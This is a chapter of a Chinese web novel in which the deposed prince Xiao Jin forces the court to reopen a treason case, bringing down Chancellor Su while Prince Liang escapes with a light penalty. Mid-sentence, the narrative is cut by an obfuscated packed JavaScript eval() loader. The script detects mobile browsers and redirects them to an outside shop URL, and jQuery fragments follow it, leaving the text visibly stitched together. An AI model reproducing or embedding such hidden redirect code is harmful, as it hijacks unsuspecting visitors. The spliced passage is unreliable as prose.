80.第 80 章

作品:《穿书后,废太子他总在崩人设

    这是陛下心底的秘密,若有可能,他不想被任何人戳破。


    早年时陛下为了巩固权势,娶了将军府家的嫡女做皇后,给她无上的恩宠和尊荣,让她儿子自出生起便成为太子。


    镇国公战功赫赫,连年为大胤南征北战,凭一己之力为大胤扩宽了不少版图。


    但功勋,也是隐患。


    镇国公功高盖主,一直为陛下所忌惮。以前需要镇国公卖命时,还可笑脸相迎、恩赏两不误。


    但后来,随着边境逐渐稳定,百姓安居乐业时,陛下反倒夜夜无法安睡了。他时常被噩梦惊醒,然后在恍惚中看见镇国公拿着砍刀朝他走来。


    再后来,镇国公权势更盛。他开始渐渐插手朝政,小到军饷补贴、大到将士培养,他似乎越来越将大胤的军队当作自家的私产?


    陛下更加无法忍受。


    后来,镇国公谋逆了。再后来,他被抄家灭族了。连同拥有将军府血脉的太子萧烬,也一朝被废受尽折磨。


    有人替陛下做了他一直想做却迟迟犹豫不决的事情。从此,陛下视苏相为肱骨,极为倚重。


    陛下将两份证据重重拍在御案上,声音冰冷:“苏相,你作何解释?”


    苏相故作淡定,嗓子干涩沙哑:“陛下......臣、臣冤枉啊——”


    萧烬冷笑,视线不由瞥向左前方。


    郑朴树赶忙出列,语气激昂:“陛下,此事必要严查,一定不能冤枉任何一位忠臣良将啊!”苏相既然含冤,那便证明自己无罪!”


    “你——郑朴树!”苏相气得两眼冒火,望向身后,“你们、你们都说句话啊!”


    此刻,通政使田文利就站在他身后不远处,小心翼翼地观察着苏相。


    自那日被苏相“派去的人”暴揍后,他想了很多,仔细揣摩苏相的用意。但却属实没想到,会发生今日的事情。


    苏相有了大麻烦。


    那日被暴揍后,田文利心里攒了一肚子气,自己勤勤恳恳在他面前当哈巴狗,结果还当出了不是!再加上被警告今后让他与苏相暂时保持距离......


    田文利当机立断,今日绝对不会为苏相说一句求情的话。


    见田文利这个头号心腹都没吱声,其他梁王党更是不敢轻易发言。毕竟此事事关重大,一不留神便会赔上身家性命。


    萧烬轻咳两声,朝资政殿学士的方向道:“不知诸位大人是否同意重启镇国公一案,还无辜之人清白,让真正作恶的人,得到他应得的下场。”


    “是吧,梁王?”


    梁王手心全是冷汗,脸上的肌肉已经僵了,感觉做任何表情都变得额外困难。许久后,他才勉强扯出一个不咸不淡的笑:“哼。”


    萧烬再次望向资政殿学士,眉眼含笑,语气带着淡淡的压迫:“贺学士,您饱读圣贤书,最是懂得大道理,一定不希望忠臣被冤死,更不希望任由奸臣在朝堂上呼风唤雨吧。不知贺学士是否赞同重新调查镇国公一案呢?”


    作为中立派,资政殿学士与其他将近二十位大臣一样,此刻心神不宁,感觉精神快要崩溃了。


    当初萧烬主动登门拜访,他们均以不同理由闭门谢客,态度恶劣。可如今......各自夫人被宏德王妃软禁起来一夜未归,夫妇二人的用意不言自明。


    “陛下,臣赞同宏德王的想法,支持重启镇国公一案!”


    ......


    “臣也赞同。”


    “臣附议!”


    “臣附议。”


    ......


    朝堂之上,中立派们被迫站队表态,全都齐刷刷站在了萧烬一边。


    梁王和苏相完全没料到会出现这样的局面,顿时傻了眼。


    田文利脑子一热,也反了水:“臣也同意......”


    这一下,大殿之上彻底失控。原本还在试图观望的梁王党,此刻一下子没了主心骨,全都慌了。


    难道苏相果真大势将去,否则为何连他最信任的心腹“一尾鱼”都要下场踩他一脚?众人脑海中一片浆糊,眼睛死死盯着别人的动向。


    如今之际,唯有自保才是重中之重了。


    直到梁王党中有人表态支持......很快,便有了第二个、第三个、第四个......最后齐刷刷跪了一片。


    苏相双腿一软,跪倒在地。


    陛下突然大笑,眼底藏着浓浓的杀气。


    萧烬趁热打铁:“希望陛下尽快做出决断。”


    陛下冷冷剜下他,此刻快要被这个“不孝”儿子逼疯了。他深吸一口气,朝苏相无奈地瞄上一眼:“来人啊,卸去苏相的官服和官帽,将其押入大理寺刑狱候审。其余参与人员,调查逮捕后一律打入牢狱审讯......”


    “苏爱卿,你糊涂啊。”陛下居然露出遗憾的神情。


    天黑了。


    苏相故作镇定,跪拜谢恩。


    梁王从未如此慌乱过,他不能没有舅舅,他的帝王之路怎能少了舅舅的助力?他跪在地上,拦在苏相身前,带着哭腔:“父皇,舅舅是被冤枉的!”


    萧烬轻蔑地勾唇,双膝跪地:“陛下,满朝皆知苏相与梁王的关系。苏相身居高位,后半辈子已是衣食无忧、权势滔天,但他依旧冒风险做出如此丧心病狂之事,若说不是为了梁王,恐怕狗都不信吧?”


    他双手合十置于头顶,稽首高喊:“儿臣以为,梁王也是同伙。”


    梁王当即怒斥:“萧烬,你不要太过分!”


    苏相急声澄清:“陛下,此事是臣一人所为,梁王殿下毫不知情!陛下,此事与梁王无关,与梁王殿下无关呐!”


    陛下重重拍案。


    他扫了眼两个令他极度头疼的儿子,厉声道:“梁王年少无知受苏相蒙蔽误导,理应受罚。从今日起,罚梁王闭门思过三个月,扣半年俸禄,一年内不得参与政事!”


    就这?萧烬猝不及防。虽然他早已预计梁王大抵无事发生,但没想到陛下保他的心思居然如此执着。这种不痛不痒的惩罚,对一个被朝堂寄予厚望的王爷而言,算什么啊!


    蚊子挠痒痒罢了。


    萧烬这才猛地想起一人,黎太傅。今日貌似未曾见他发言。


    作为一个隐藏款“梁王党”,他没理由不站出来支持苏相和梁王。萧烬环视一圈,却并未发现黎太傅的踪迹。难道他今日未上朝?


    还未来得及多想,便听到陛下沉闷的声音:“此事到此为止,之后全部交由大理寺查办!谁若再敢多言一句,小心朕要了你们的脑袋......”


    大殿鸦雀无声。


    平日例行公事的早朝,今日竟差点成了众人的炼狱。


    度秒如年。


    经萧烬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077197|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这么一闹,不仅将苏相拉下马,还让梁王痛失左膀右臂、遭遇夺嫡生涯上的重创。


    除此之外,陛下打算立丽贵妃为后的事也跟着打了水漂,之后他更加不好为选秀一事找借口了。


    陛下越想越气,将御案上的东西统统推到地上,摔的摔、烂的烂、乱的乱,吓得众人连大气都不敢出一下。


    有人不知死活腆着脸劝慰:“陛下息怒啊,身体要紧,千万别被苏相气坏了身子......”


    不提苏相还好,这一提......直接拔了老虎胡须。


    陛下一想到今后痛失苏相这样一名懂得揣摩他心思、愿意替他做脏事的“朝堂知己”,愈发气不打一处来。


    他踉跄着起身,指着大殿破口大骂:“混账!一个个都特么是混账!”


    李暮山硬着头皮去追他,边追边喊:“哎呦,陛下......陛下......”


    陛下发泄够了,语气重新平静下来,阴恻恻望着大殿站着的臣子,特意重重剜了萧烬一眼。片刻后,嗓音沙哑:“滚——都滚——”


    李暮山大喊:“退朝——”


    *


    从勤政殿走出去,再次见到耀眼的太阳时,仿佛做了一场梦。


    萧烬长舒一口气。


    今日壮举,虽有遗憾,但大致符合预期。


    此刻,洛鸢站在不远处的宫墙边,眼含笑意地等他。见到萧烬的身影,小跑几步贴过来。


    她来回拉扯几下萧烬的衣裳,点了点头:“嗯,不错,毫发无损。按我原先的推测,还以为老东西多少会赏你几十板子呢。”


    萧烬抹去额头的细汗,是凉的......他后怕地一笑:“好险。他没打我,纯粹是因为气懵了。”


    洛鸢勾唇:“被苏相气懵的?”


    萧烬拧眉:“被我气懵的。”


    洛鸢挑眉:“嗐,伴君如伴虎。方才我见从大殿走出来的大臣,没有一个腿不发软的。有一个留着山羊胡的大臣,走一步崴一脚,快笑死人了。可见,老东西动了多大的怒气。”


    萧烬敷衍地笑了笑,手扶宫墙滑坐在路边,语气弱弱:“妈的,再动怒有屁用,还是让梁王逃过了一劫。他甚至连怀疑都不肯怀疑一下,直接轻飘飘地将梁王揭过......”


    “我看老东西打定主意要捧梁王上位了。”


    萧烬眼神幽远,盯向不远处飞檐上立着的凶兽,重重叹口气。


    片刻后,才想起问洛鸢:“那些夫人你都送回去了吗?还好赌对了,这些中间派没装死,今日算是帮了我。”


    洛鸢若有所思:“嗯。送回去了。这些贵妇们真难伺候,哭哭啼啼都算好的,最难缠的几个,连用什么样的洗脚水都有要求......”


    “说实话,就她们这娇气样儿......多一秒我都不愿伺候。”


    萧烬苦笑:“夫人辛苦了。”


    洛鸢剜他一眼:“少来。回去让窈娘给你熬一碗压惊的汤药吧,看你吓得脸都白了。”


    “是气白的?”


    “吓白的。”


    “分明是气白的!”


    “就是吓白的......”


    两人你来我往,在这儿幼稚地斗着嘴皮子。


    而此时披香殿早已乱成了一锅黏粥。丽贵妃捂着胸口几度昏厥,虚弱地倚靠在软榻上喘着粗气。